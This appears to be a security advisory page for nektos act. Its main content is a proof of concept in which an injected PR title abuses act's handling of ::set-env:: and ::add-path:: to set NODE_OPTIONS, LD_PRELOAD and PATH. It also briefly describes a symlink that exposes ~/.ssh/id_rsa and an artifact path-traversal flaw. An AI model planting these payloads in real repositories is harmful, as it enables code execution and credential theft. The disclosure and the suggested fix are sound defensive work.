See how nektos compares to other vendors in security performance
Nektos act 0.2.92 before 0.2.98 contains a link following vulnerability that allows malicious repositories to read host files by setting --eventpath in an untrusted project .actrc to a symlink. Attackers can commit an event.json symlink pointing to files like ~/.ssh/idrsa, which act copies into the job container as GITHUBEVENTPATH for workflow steps to exfiltrate.
Nektos act 0.2.92 before 0.2.98 contains a link following vulnerability that allows malicious repositories to read host files by setting --eventpath in an untrusted project .actrc to a symlink. Attackers can commit an event.json symlink pointing to files like ~/.ssh/idrsa, which act copies into the job container as GITHUBEVENTPATH for workflow steps to exfiltrate.
Summary
act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes act strictly less secure than GitHub Actions for the same workflow file.
Vulnerable Code
pkg/runner/command.go, lines 52-58:
go switch command { case "set-env": rc.setEnv(ctx, kvPairs, arg) case "set-output": rc.setOutput(ctx, kvPairs, arg) case "add-path": rc.addPath(ctx, arg)
There is no check for the ACTIONSALLOWUNSECURECOMMANDS environment variable. The string ACTIONSALLOWUNSECURECOMMANDS does not appear anywhere in the act codebase.
On GitHub Actions, these commands are rejected unless ACTIONSALLOWUNSECURECOMMANDS=true is set:
Error: The set-env command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONSALLOWUNSECURECOMMANDS=true.
PoC: Environment and PATH Injection via PR Title
Tested on: act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0
Step 1 — Create a workflow that logs PR metadata:
.github/workflows/vuln.yml: yaml name: Vulnerable Workflow on: [pullrequest]
jobs: build: runs-on: ubuntu-latest steps: - name: Log PR info run: | echo "Processing PR: ${{ github.event.pullrequest.title }}"
- name: Subsequent step - check environment run: | echo "=== Environment Injection Check ===" echo "NODEOPTIONS=$NODEOPTIONS" echo "EVILVAR=$EVILVAR" echo "PATH=$PATH"
Step 2 — Create a malicious event payload:
event.json: json { "pullrequest": { "title": "Fix typo\n::set-env name=EVILVAR::INJECTEDBYATTACKER\n::set-env name=NODEOPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin", "number": 1, "head": { "ref": "fix-typo", "sha": "abc123" }, "base": { "ref": "main", "sha": "def456" } } }
Step 3 — Run:
bash git init && git add -A && git commit -m "init" act pullrequest -e event.json
Result:
[Vulnerable Workflow/build] | Processing PR: Fix typo [Vulnerable Workflow/build] ⚙ ::set-env:: EVILVAR=INJECTEDBYATTACKER [Vulnerable Workflow/build] ⚙ ::set-env:: NODEOPTIONS=--require=/tmp/evil.js [Vulnerable Workflow/build] ⚙ ::add-path:: /tmp/evil-bin [Vulnerable Workflow/build] ✅ Success - Main Log PR info
[Vulnerable Workflow/build] | === Environment Injection Check === [Vulnerable Workflow/build] | NODEOPTIONS=--require=/tmp/evil.js [Vulnerable Workflow/build] | EVILVAR=INJECTEDBYATTACKER [Vulnerable Workflow/build] | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin [Vulnerable Workflow/build] | EXPLOITED: EVILVAR was injected into this step! [Vulnerable Workflow/build] ✅ Success [Vulnerable Workflow/build] 🏁 Job succeeded
All three injections succeeded silently: - EVILVAR=INJECTEDBYATTACKER — arbitrary env var injected into subsequent step - NODEOPTIONS=--require=/tmp/evil.js — Node.js code execution vector - /tmp/evil-bin prepended to PATH — command hijacking vector
Attack Scenarios
Scenario 1: Malicious PR title/body. An attacker opens a PR with ::set-env name=NODEOPTIONS::--require=/tmp/evil.js embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.
Scenario 2: Malicious branch name. ${{ github.headref }} is attacker-controlled. A branch named fix-typo%0A::set-env name=LDPRELOAD::/tmp/evil.so can inject LDPRELOAD, which causes every subsequent dynamically-linked binary to load the attacker's shared library.
Scenario 3: Commit message injection. If a step runs git log --oneline and the output flows to stdout, an attacker's commit message containing ::set-env:: commands will be processed.
Impact
- Command injection via env vars: LDPRELOAD, NODEOPTIONS, PYTHONPATH, BASHENV, PERL5OPT all enable arbitrary code execution - PATH hijacking: attacker-controlled directory prepended to PATH hijacks any subsequent command - Cross-step escalation: a step that merely logs untrusted data compromises all subsequent steps - Supply chain risk: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security
Suggested Fix
Add a check matching GitHub Actions' behavior:
go case "set-env": if rc.Env["ACTIONSALLOWUNSECURECOMMANDS"] != "true" { logger.Errorf("The set-env command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONSALLOWUNSECURECOMMANDS=true") return false } rc.setEnv(ctx, kvPairs, arg) case "add-path": if rc.Env["ACTIONSALLOWUNSECURECOMMANDS"] != "true" { logger.Errorf("The add-path command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONSALLOWUNSECURECOMMANDS=true") return false } rc.addPath(ctx, arg)
This is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via ACTIONSALLOWUNSECURECOMMANDS=true, matching GitHub's approach.
---
Written by Golan Myers
The artifact server that stores artifacts from GitHub Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a GitHub Action.